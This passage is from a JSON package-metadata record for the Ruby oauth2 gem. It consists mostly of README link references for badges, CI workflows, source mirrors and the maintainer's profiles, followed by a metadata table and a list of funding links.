https://www.crunchbase.com/person/peter-boling\n[💖💲crunchbase-img]: https://img.shields.io/badge/peter--boling-purple?style=flat\u0026logo=crunchbase\n[💖🐘ruby-mast]: https://ruby.social/@galtzo\n[💖🐘ruby-mast-img]: https://img.shields.io/mastodon/follow/109447111526622197?domain=https://ruby.social\u0026style=flat\u0026logo=mastodon\u0026label=Ruby%20@galtzo\n[💖🦋bluesky]: https://bsky.app/profile/galtzo.com\n[💖🦋bluesky-img]: https://img.shields.io/badge/@galtzo.com-0285FF?style=flat\u0026logo=bluesky\u0026logoColor=white\n[💖🌳linktree]: https://linktr.ee/galtzo\n[💖🌳linktree-img]: https://img.shields.io/badge/galtzo-purple?style=flat\u0026logo=linktree\n[💖💁🏼‍♂️devto]: https://dev.to/galtzo\n[💖💁🏼‍♂️devto-img]: https://img.shields.io/badge/dev.to-0A0A0A?style=flat\u0026logo=devdotto\u0026logoColor=white\n[💖💁🏼‍♂️aboutme]: https://about.me/peter.boling\n[💖💁🏼‍♂️aboutme-img]: https://img.shields.io/badge/about.me-0A0A0A?style=flat\u0026logo=aboutme\u0026logoColor=white\n[💖🧊berg]: https://codeberg.org/pboling\n[💖🐙hub]: https://github.org/pboling\n[💖🛖hut]: https://sr.ht/~galtzo/\n[💖🧪lab]: https://gitlab.com/pboling\n[👨🏼‍🏫expsup-upwork]: https://www.upwork.com/freelancers/~014942e9b056abdf86?mp_source=share\n[👨🏼‍🏫expsup-upwork-img]: https://img.shields.io/badge/UpWork-13544E?style=for-the-badge\u0026logo=Upwork\u0026logoColor=white\n[👨🏼‍🏫expsup-codementor]: https://www.codementor.io/peterboling?utm_source=github\u0026utm_medium=button\u0026utm_term=peterboling\u0026utm_campaign=github\n[👨🏼‍🏫expsup-codementor-img]: https://img.shields.io/badge/CodeMentor-Get_Help-1abc9c?style=for-the-badge\u0026logo=CodeMentor\u0026logoColor=white\n[🏙️entsup-tidelift]: https://tidelift.com/subscription/pkg/rubygems-oauth2?utm_source=rubygems-oauth2\u0026utm_medium=referral\u0026utm_campaign=readme\n[🏙️entsup-tidelift-img]: https://img.shields.io/badge/Tidelift_and_Sonar-Enterprise_Support-FD3456?style=for-the-badge\u0026logo=sonar\u0026logoColor=white\n[🏙️entsup-tidelift-sonar]: https://blog.tidelift.com/tidelift-joins-sonar\n[💁🏼‍♂️peterboling]: http://www.peterboling.com\n[🚂railsbling]: http://www.railsbling.com\n[📜src-gl-img]: https://img.shields.io/badge/GitLab-FBA326?style=for-the-badge\u0026logo=Gitlab\u0026logoColor=orange\n[📜src-gl]: https://gitlab.com/ruby-oauth/oauth2\n[📜src-cb-img]: https://img.shields.io/badge/CodeBerg-4893CC?style=for-the-badge\u0026logo=CodeBerg\u0026logoColor=blue\n[📜src-cb]: https://codeberg.org/ruby-oauth/oauth2\n[📜src-gh-img]: https://img.shields.io/badge/GitHub-238636?style=for-the-badge\u0026logo=Github\u0026logoColor=green\n[📜src-gh]: https://github.com/ruby-oauth/oauth2\n[📜docs-cr-rd-img]: https://img.shields.io/badge/RubyDoc-Current_Release-943CD2?style=for-the-badge\u0026logo=readthedocs\u0026logoColor=white\n[📜docs-head-rd-img]: https://img.shields.io/badge/YARD_on_Galtzo.com-HEAD-943CD2?style=for-the-badge\u0026logo=readthedocs\u0026logoColor=white\n[📜gl-wiki]: https://gitlab.com/ruby-oauth/oauth2/-/wikis/home\n[📜gh-wiki]: https://github.com/ruby-oauth/oauth2/wiki\n[📜gl-wiki-img]: https://img.shields.io/badge/wiki-gitlab-943CD2.svg?style=for-the-badge\u0026logo=gitlab\u0026logoColor=white\n[📜gh-wiki-img]: https://img.shields.io/badge/wiki-github-943CD2.svg?style=for-the-badge\u0026logo=github\u0026logoColor=white\n[👽dl-rank]: https://bestgems.org/gems/oauth2\n[👽dl-ranki]: https://img.shields.io/gem/rd/oauth2.svg\n[👽version]: https://bestgems.org/gems/oauth2\n[👽versioni]: https://img.shields.io/gem/v/oauth2.svg\n[🏀qlty-mnt]: https://qlty.sh/gh/ruby-oauth/projects/oauth2\n[🏀qlty-mnti]: https://qlty.sh/gh/ruby-oauth/projects/oauth2/maintainability.svg\n[🏀qlty-cov]: https://qlty.sh/gh/ruby-oauth/projects/oauth2/metrics/code?sort=coverageRating\n[🏀qlty-covi]: https://qlty.sh/gh/ruby-oauth/projects/oauth2/coverage.svg\n[🏀codecov]: https://codecov.io/gh/ruby-oauth/oauth2\n[🏀codecovi]: https://codecov.io/gh/ruby-oauth/oauth2/graph/badge.svg\n[🏀coveralls]: https://coveralls.io/github/ruby-oauth/oauth2?branch=main\n[🏀coveralls-img]: https://coveralls.io/repos/github/ruby-oauth/oauth2/badge.svg?branch=main\n[🚎ruby-2.4-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/ruby-2.4.yml\n[🚎ruby-2.5-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/ruby-2.5.yml\n[🚎ruby-2.6-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/ruby-2.6.yml\n[🚎ruby-2.7-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/ruby-2.7.yml\n[🚎ruby-3.0-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/ruby-3.0.yml\n[🚎ruby-3.1-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/ruby-3.1.yml\n[🚎ruby-3.2-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/ruby-3.2.yml\n[🚎ruby-3.3-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/ruby-3.3.yml\n[🚎ruby-3.4-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/ruby-3.4.yml\n[🚎jruby-9.2-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/jruby-9.2.yml\n[🚎jruby-9.3-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/jruby-9.3.yml\n[🚎jruby-9.4-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/jruby-9.4.yml\n[🚎jruby-10.0-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/jruby-10.0.yml\n[🚎truby-22.3-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/truffleruby-22.3.yml\n[🚎truby-23.0-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/truffleruby-23.0.yml\n[🚎truby-23.1-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/truffleruby-23.1.yml\n[🚎truby-24.2-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/truffleruby-24.2.yml\n[🚎truby-25.0-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/truffleruby-25.0.yml\n[🚎truby-33.0-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/truffleruby-33.0.yml\n[🚎2-cov-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/coverage.yml\n[🚎2-cov-wfi]: https://github.com/ruby-oauth/oauth2/actions/workflows/coverage.yml/badge.svg\n[🚎3-hd-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/heads.yml\n[🚎3-hd-wfi]: https://github.com/ruby-oauth/oauth2/actions/workflows/heads.yml/badge.svg\n[🚎5-st-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/style.yml\n[🚎5-st-wfi]: https://github.com/ruby-oauth/oauth2/actions/workflows/style.yml/badge.svg\n[🚎9-t-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/truffle.yml\n[🚎9-t-wfi]: https://github.com/ruby-oauth/oauth2/actions/workflows/truffle.yml/badge.svg\n[🚎10-j-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/jruby.yml\n[🚎10-j-wfi]: https://github.com/ruby-oauth/oauth2/actions/workflows/jruby.yml/badge.svg\n[🚎11-c-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/current.yml\n[🚎11-c-wfi]: https://github.com/ruby-oauth/oauth2/actions/workflows/current.yml/badge.svg\n[🚎12-crh-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/dep-heads.yml\n[🚎12-crh-wfi]: https://github.com/ruby-oauth/oauth2/actions/workflows/dep-heads.yml/badge.svg\n[🚎13-🔒️-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/locked_deps.yml\n[🚎13-🔒️-wfi]: https://github.com/ruby-oauth/oauth2/actions/workflows/locked_deps.yml/badge.svg\n[🚎14-🔓️-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/unlocked_deps.yml\n[🚎14-🔓️-wfi]: https://github.com/ruby-oauth/oauth2/actions/workflows/unlocked_deps.yml/badge.svg\n[🚎15-🪪-wf]: https://github.com/ruby-oauth/oauth2/actions/workflows/license-eye.yml\n[🚎15-🪪-wfi]: https://github.com/ruby-oauth/oauth2/actions/workflows/license-eye.yml/badge.svg\n[💎ruby-2.2i]: https://img.shields.io/badge/Ruby-2.2_(%F0%9F%9A%ABCI)-AABBCC?style=for-the-badge\u0026logo=ruby\u0026logoColor=white\n[💎ruby-2.3i]: https://img.shields.io/badge/Ruby-2.3_(%F0%9F%9A%ABCI)-AABBCC?style=for-the-badge\u0026logo=ruby\u0026logoColor=white\n[💎ruby-2.4i]: https://img.shields.io/badge/Ruby-2.4-DF00CA?style=for-the-badge\u0026logo=ruby\u0026logoColor=white\n[💎ruby-2.5i]: https://img.shields.io/badge/Ruby-2.5-DF00CA?style=for-the-badge\u0026logo=ruby\u0026logoColor=white\n[💎ruby-2.6i]: https://img.shields.io/badge/Ruby-2.6-DF00CA?style=for-the-badge\u0026logo=ruby\u0026logoColor=white\n[💎ruby-2.7i]: https://img.shields.io/badge/Ruby-2.7-DF00CA?style=for-the-badge\u0026logo=ruby\u0026logoColor=white\n[💎ruby-3.0i]: https://img.shields.io/badge/Ruby-3.0-CC342D?style=for-the-badge\u0026logo=ruby\u0026logoColor=white\n[💎ruby-3.1i]: https://img.shields.io/badge/Ruby-3.1-CC342D?style=for-the-badge\u0026logo=ruby\u0026logoColor=white\n[💎ruby-3.2i]: https://img.shields.io/badge/Ruby-3.2-CC342D?style=for-the-badge\u0026logo=ruby\u0026logoColor=white\n[💎ruby-3.3i]: https://img.shields.io/badge/Ruby-3.3-CC342D?style=for-the-badge\u0026logo=ruby\u0026logoColor=white\n[💎ruby-3.4i]: https://img.shields.io/badge/Ruby-3.4-CC342D?style=for-the-badge\u0026logo=ruby\u0026logoColor=white\n[💎ruby-c-i]: https://img.shields.io/badge/Ruby-current-CC342D?style=for-the-badge\u0026logo=ruby\u0026logoColor=green\n[💎ruby-headi]: https://img.shields.io/badge/Ruby-HEAD-CC342D?style=for-the-badge\u0026logo=ruby\u0026logoColor=blue\n[💎truby-22.3i]: https://img.shields.io/badge/Truffle_Ruby-22.3-34BCB1?style=for-the-badge\u0026logo=ruby\u0026logoColor=pink\n[💎truby-23.0i]: https://img.shields.io/badge/Truffle_Ruby-23.0-34BCB1?style=for-the-badge\u0026logo=ruby\u0026logoColor=pink\n[💎truby-23.1i]: https://img.shields.io/badge/Truffle_Ruby-23.1-34BCB1?style=for-the-badge\u0026logo=ruby\u0026logoColor=pink\n[💎truby-24.2i]: https://img.shields.io/badge/Truffle_Ruby-24.2-34BCB1?style=for-the-badge\u0026logo=ruby\u0026logoColor=pink\n[💎truby-25.0i]: https://img.shields.io/badge/Truffle_Ruby-25.0-34BCB1?style=for-the-badge\u0026logo=ruby\u0026logoColor=pink\n[💎truby-33.0i]: https://img.shields.io/badge/Truffle_Ruby-33.0-34BCB1?style=for-the-badge\u0026logo=ruby\u0026logoColor=pink\n[💎truby-c-i]: https://img.shields.io/badge/Truffle_Ruby-current-34BCB1?style=for-the-badge\u0026logo=ruby\u0026logoColor=green\n[💎truby-headi]: https://img.shields.io/badge/Truffle_Ruby-HEAD-34BCB1?style=for-the-badge\u0026logo=ruby\u0026logoColor=blue\n[💎jruby-9.2i]: https://img.shields.io/badge/JRuby-9.2-FBE742?style=for-the-badge\u0026logo=ruby\u0026logoColor=red\n[💎jruby-9.3i]: https://img.shields.io/badge/JRuby-9.3-FBE742?style=for-the-badge\u0026logo=ruby\u0026logoColor=red\n[💎jruby-9.4i]: https://img.shields.io/badge/JRuby-9.4-FBE742?style=for-the-badge\u0026logo=ruby\u0026logoColor=red\n[💎jruby-10.0i]: https://img.shields.io/badge/JRuby-10.0-FBE742?style=for-the-badge\u0026logo=ruby\u0026logoColor=red\n[💎jruby-c-i]: https://img.shields.io/badge/JRuby-current-FBE742?style=for-the-badge\u0026logo=ruby\u0026logoColor=green\n[💎jruby-headi]: https://img.shields.io/badge/JRuby-HEAD-FBE742?style=for-the-badge\u0026logo=ruby\u0026logoColor=blue\n[🤝gh-issues]: https://github.com/ruby-oauth/oauth2/issues\n[🤝gh-pulls]: https://github.com/ruby-oauth/oauth2/pulls\n[🤝gl-issues]: https://gitlab.com/ruby-oauth/oauth2/-/issues\n[🤝gl-pulls]: https://gitlab.com/ruby-oauth/oauth2/-/merge_requests\n[🤝cb-issues]: https://codeberg.org/ruby-oauth/oauth2/issues\n[🤝cb-pulls]: https://codeberg.org/ruby-oauth/oauth2/pulls\n[🤝cb-donate]: https://donate.codeberg.org/\n[🤝contributing]: https://github.com/ruby-oauth/oauth2/blob/main/CONTRIBUTING.md\n[🏀codecov-g]: https://codecov.io/gh/ruby-oauth/oauth2/graph/badge.svg\n[🖐contrib-rocks]: https://contrib.rocks\n[🖐contributors]: https://github.com/ruby-oauth/oauth2/graphs/contributors\n[🖐contributors-img]: https://contrib.rocks/image?repo=ruby-oauth/oauth2\n[🚎contributors-gl]: https://gitlab.com/ruby-oauth/oauth2/-/graphs/main\n[🪇conduct]: https://github.com/ruby-oauth/oauth2/blob/main/CODE_OF_CONDUCT.md\n[🪇conduct-img]: https://img.shields.io/badge/Contributor_Covenant-2.1-259D6C.svg\n[📌pvc]: http://guides.rubygems.org/patterns/#pessimistic-version-constraint\n[📌semver]: https://semver.org/spec/v2.0.0.html\n[📌semver-img]: https://img.shields.io/badge/semver-2.0.0-259D6C.svg?style=flat\n[📌semver-breaking]: https://github.com/semver/semver/issues/716#issuecomment-869336139\n[📌major-versions-not-sacred]: https://tom.preston-werner.com/2022/05/23/major-version-numbers-are-not-sacred.html\n[📌changelog]: https://github.com/ruby-oauth/oauth2/blob/main/CHANGELOG.md\n[📗keep-changelog]: https://keepachangelog.com/en/1.0.0/\n[📗keep-changelog-img]: https://img.shields.io/badge/keep--a--changelog-1.0.0-34495e.svg?style=flat\n[📌gitmoji]: https://gitmoji.dev\n[📌gitmoji-img]: https://img.shields.io/badge/gitmoji_commits-%20%F0%9F%98%9C%20%F0%9F%98%8D-34495e.svg?style=flat-square\n[🧮kloc]: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n[🧮kloc-img]: https://img.shields.io/badge/KLOC-0.558-FFDD67.svg?style=for-the-badge\u0026logo=YouTube\u0026logoColor=blue\n[🔐security]: https://github.com/ruby-oauth/oauth2/blob/main/SECURITY.md\n[🔐security-img]: https://img.shields.io/badge/security-policy-259D6C.svg?style=flat\n[📄copyright-notice-explainer]: https://opensource.stackexchange.com/questions/5778/why-do-licenses-such-as-the-mit-license-specify-a-single-year\n[📄license]: LICENSE.md\n[📄license-ref]: MIT.md\n[📄license-img]: https://img.shields.io/badge/License-MIT-259D6C.svg\n[📄license-compat]: https://www.apache.org/legal/resolved.html#category-a\n[📄license-compat-img]: https://img.shields.io/badge/Apache_Compatible:_Category_A-%E2%9C%93-259D6C.svg?style=flat\u0026logo=Apache\n\n[📄ilo-declaration]: https://www.ilo.org/declaration/lang--en/index.htm\n[📄ilo-declaration-img]: https://img.shields.io/badge/ILO_Fundamental_Principles-✓-259D6C.svg?style=flat\n[🚎yard-current]: http://rubydoc.info/gems/oauth2\n[🚎yard-head]: https://oauth2.galtzo.com\n[💎stone_checksums]: https://github.com/galtzo-floss/stone_checksums\n[💎SHA_checksums]: https://gitlab.com/ruby-oauth/oauth2/-/tree/main/checksums\n[💎rlts]: https://github.com/rubocop-lts/rubocop-lts\n[💎rlts-img]: https://img.shields.io/badge/code_style_\u0026_linting-rubocop--lts-34495e.svg?plastic\u0026logo=ruby\u0026logoColor=white\n[💎appraisal2]: https://github.com/appraisal-rb/appraisal2\n[💎appraisal2-img]: https://img.shields.io/badge/appraised_by-appraisal2-34495e.svg?plastic\u0026logo=ruby\u0026logoColor=white\n[💎d-in-dvcs]: https://railsbling.com/posts/dvcs/put_the_d_in_dvcs/\n\n\u003c!-- kettle-jem:metadata:start --\u003e\n| Field | Value |\n|---|---|\n| Package | oauth2 |\n| Description | 🔐 A Ruby wrapper for the OAuth 2.0 Authorization Framework, including the OAuth 2.1 draft spec, and OpenID Connect (OIDC) |\n| Homepage | https://github.com/ruby-oauth/oauth2 |\n| Source | https://github.com/ruby-oauth/oauth2 |\n| License | `MIT` |\n| Funding | https://github.com/sponsors/pboling, https://ko-fi.com/pboling, https://liberapay.com/pboling/donate, https://opencollective.com/ruby-oauth, https://thanks.dev/u/gh/pboling, https://tidelift.com/funding/github/rubygems/oauth2, https://www.buymeacoffee.com/pboling |\n\u003c!-- kettle-jem:metadata:end --\u003e\n","funding_links":["https://github.com/sponsors/pboling","https://buymeacoffee.com/pboling","https://issuehunt.io/r/pboling","https://ko-fi.com/pboling","https://liberapay.com/pboling","https://opencollective.com/ruby-oauth","https://patreon.com/galtzo","https://polar.sh/pboling","https://thanks.dev/u/gh/pboling","https://tidelift.com/funding/github/rubygems/oauth2","https://tidelift.com/badges/package/rubygems/oauth2","https://tidelift.com/subscription/pkg/rubygems-oauth2?utm_source=rubygems-oauth2\u0026utm_medium=referral\u0026utm_campaign=readme","https://opencollective.com/bill-woika","https://opencollective.com/guest-e77282f7","https://opencollective.com/guest-c93e0c48","https://liberapay.com/pboling/donate","https://img.buymeacoffee.com/button-api/?text=Buy%20me%20a%20latte\u0026emoji=\u0026slug=pboling\u0026button_colour=FFDD00\u0026font_colour=000000\u0026font_family=Cookie\u0026outline_colour=000000\u0026coffee_colour=ffffff","https://www.buymeacoffee.com/pboling","https://www.paypal.com/paypalme/peterboling","https://blog.tidelift.com/tidelift-joins-sonar"],"readme_doi_urls":[],"works":{},"citation_counts":{},"total_citations":0,"keywords_from_contributors":["oauth-oidc","activerecord","activejob","mvc","rubygems","rack","rubocop","code-formatter","static-code-analysis","oauth"],"project_url":"https://ruby.ecosyste.ms/api/v1/projects/7429","html_url":"https://ruby.ecosyste.ms/projects/7429"}